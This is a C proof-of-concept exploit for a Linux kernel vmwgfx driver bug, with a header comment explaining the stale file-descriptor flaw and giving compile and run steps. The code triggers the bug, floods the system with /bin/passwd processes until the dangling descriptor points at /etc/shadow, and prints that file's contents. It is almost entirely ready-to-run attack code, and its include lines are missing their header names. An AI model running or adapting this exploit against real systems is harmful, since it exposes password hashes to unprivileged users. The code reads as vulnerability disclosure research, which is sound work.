/* The vmwgfx driver has a similar bug as the one we fixed last year in the * nitro enclaves code (https://git.kernel.org/linus/f1ce3986baa6 * "nitro_enclaves: Fix stale file descriptors on failed usercopy"). * * If the driver fails to copy the 'fence_rep' object to userland, it tries to * recover by deallocating the (already populated) file descriptor. This is * wrong, as the fd gets released via put_unused_fd() which shouldn't be used, * as the fd table slot was already populated via the previous call to * fd_install(). This leaves userland with a valid fd table entry pointing to * a free'd 'file' object. * * There are multiple ways to exploit this bug but we simply "spam" lots of * (re-)allocations of the dangling 'file' object until it points to an * interesting file; /etc/shadow for this PoC. * * Compile as: * $ gcc vmwgfx.c -o vmwgfx * * Run as (and wait for the content of /etc/shadow to appear): * $ ./vmwgfx * * Remarks: * * This POC assumes it has access to '/dev/dri/card0' which likely means the * calling user needs to be part of the 'video' group. * * Alternatively '/dev/dri/renderD128' can be used (just pass the path as * argument to ./vmwgfx), which means being part of the 'render' group. * * (c) 2022 Open Source Security, Inc. All Rights Reserved. * * - minipli */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* uapi/drm/drm.h */ #define DRM_IOCTL_BASE 'd' #define DRM_IOW(nr,type) _IOW(DRM_IOCTL_BASE,nr,type) #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) #define DRM_COMMAND_BASE 0x40 #define DRM_IOCTL_VERSION DRM_IOWR(0x00, struct drm_version) struct drm_version { int version_major; int version_minor; int version_patchlevel; size_t name_len; char *name; size_t date_len; char *date; size_t desc_len; char *desc; }; /* uapi/drm/vmwgfx_drm.h */ #define DRM_VMW_EXECBUF 12 #define DRM_VMW_EXECBUF_VERSION 2 #define DRM_VMW_EXECBUF_FLAG_EXPORT_FENCE_FD (1 << 1) #define DRM_VMW_INVALID_CTX_HNDL (-1) #define DRM_IOCTL_VMW_EXECBUF \ DRM_IOW(DRM_COMMAND_BASE + DRM_VMW_EXECBUF, struct drm_vmw_execbuf_arg) struct drm_vmw_execbuf_arg { uint64_t commands; uint32_t command_size; uint32_t throttle_us; uint64_t fence_rep; uint32_t version; uint32_t flags; uint32_t context_handle; int32_t imported_fence_fd; }; #define FENCE_REP_PTR 0x42 #define VMWGFX_DRV_NAME "vmwgfx" #define VMWGFX_DEV "/dev/dri/card0" #define NULL_DEV "/dev/null" #define VICTIM_FILE "/etc/shadow" #define VICTIM_HELPER "/bin/passwd" #define NUM_PROCS 10 extern char **environ; static dev_t victim_dev; static ino_t victim_ino; static int stale_fd; static void passwd_spawner(int pipe_rd, int pipe_wr) { char *argv[] = { VICTIM_HELPER, "-S", NULL }; int procs = 0; char ch; if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) < 0) err(1, "prctl(PR_SET_PDEATHSIG)"); if (write(pipe_wr, "1", 1) <= 0) err(1, "child: write(pipe)"); if (read(pipe_rd, &ch, sizeof(ch)) <= 0) err(1, "child: read(pipe)"); /* ensure the forked helper stays silent */ close(0); close(1); close(2); for (;;) { switch (fork()) { case -1: usleep(1); break; case 0: execve(VICTIM_HELPER, argv, environ); exit(1); default: procs++; } if (procs >= NUM_PROCS) { if (wait(NULL) > 0) procs--; while (waitpid(-1, NULL, WNOHANG) > 0) procs--; } } } static void check_fd(void) { char buf[64 * 1024]; struct stat sb; for (;;) { usleep(1); if (fstat(stale_fd, &sb) != 0) continue; // printf("[+] fd %d reallocated (dev=(%#x,%#x), ino=%lu, uid=%u, gid=%u)!\n", // stale_fd, major(sb.st_dev), minor(sb.st_dev), sb.st_ino, sb.st_uid, sb.st_gid); if (sb.st_dev == victim_dev && sb.st_ino == victim_ino) { size_t cnt = pread(stale_fd, buf, sizeof(buf), 0); if (cnt > 0) { printf("\n[$] got access to '%s' via stale fd %d:\n", VICTIM_FILE, stale_fd); printf("%s", buf); exit(0); } } } } int main(int argc, char **argv) { static char name[256], date[256], desc[256]; static struct drm_version drm_info = { .name = name, .name_len = sizeof(name), .desc = desc, .desc_len = sizeof(desc), .date = date, .date_len = sizeof(date), }; static struct drm_vmw_execbuf_arg exec_buf = { .version = DRM_VMW_EXECBUF_VERSION, .context_handle = DRM_VMW_INVALID_CTX_HNDL, .flags = DRM_VMW_EXECBUF_FLAG_EXPORT_FENCE_FD, .fence_rep = FENCE_REP_PTR, }; const char *dev_path = VMWGFX_DEV; int pipes[2][2]; struct stat sb; int vmw_fd; char ch; if (argc == 2) dev_path = argv[1]; printf("[~] vmwgfx setup using %s...\n", dev_path); vmw_fd = open(dev_path, O_WRONLY); if (vmw_fd < 0) err(1, "open(%s)", dev_path); if (ioctl(vmw_fd, DRM_IOCTL_VERSION, &drm_info) != 0) err(1, "ioctl(DRM_IOCTL_VERSION) unexpectedly failed"); if (strcmp(drm_info.name, VMWGFX_DRV_NAME) != 0) { errx(1, "wrong driver, should be '%s' but is '%s'", VMWGFX_DRV_NAME, drm_info.name); } printf("[i] confirmed to be targeting the right driver\n"); printf("[~] forking helper process...\n"); if (pipe(pipes[0]) < 0 || pipe(pipes[1]) < 0) err(1, "pipe()"); switch (fork()) { case 0: passwd_spawner(pipes[0][0], pipes[1][1]); case -1: err(1, "fork()"); } /* wait till the child is ready to ensure proper process reaping */ if (read(pipes[1][0], &ch, sizeof(ch)) <= 0) err(1, "parent: read(pipe)"); printf("[~] gathering stat info of '%s'...\n", VICTIM_FILE); if (stat(VICTIM_FILE, &sb) < 0) err(1, "stat(%s)", VICTIM_FILE); victim_dev = sb.st_dev; victim_ino = sb.st_ino; stale_fd = open(NULL_DEV, O_RDONLY); if (stale_fd < 0) err(1, "open(%s)", NULL_DEV); close(stale_fd); printf("[i] predicted fence fd = %d\n", stale_fd); printf("[~] signaling helper to get busy...\n"); if (write(pipes[0][1], "1", 1) < 0) err(1, "write(pipe)"); printf("[~] triggering fence fd export...\n"); if (ioctl(vmw_fd, DRM_IOCTL_VMW_EXECBUF, &exec_buf) != 0) err(1, "ioctl(DRM_IOCTL_VMW_EXECBUF) unexpectedly failed"); /* evaluate stale fd in a subprocess to handle kernel oopses just fine */ printf("[~] monitoring stale fd..."); fflush(NULL); for (;;) { pid_t pid = fork(); int status; switch (pid) { case 0: check_fd(); case -1: usleep(10); continue; } if (waitpid(pid, &status, 0) < 0) err(1, "wait()"); if (WIFEXITED(status) && WEXITSTATUS(status) == 0) break; putchar('+'); fflush(NULL); } return 0; }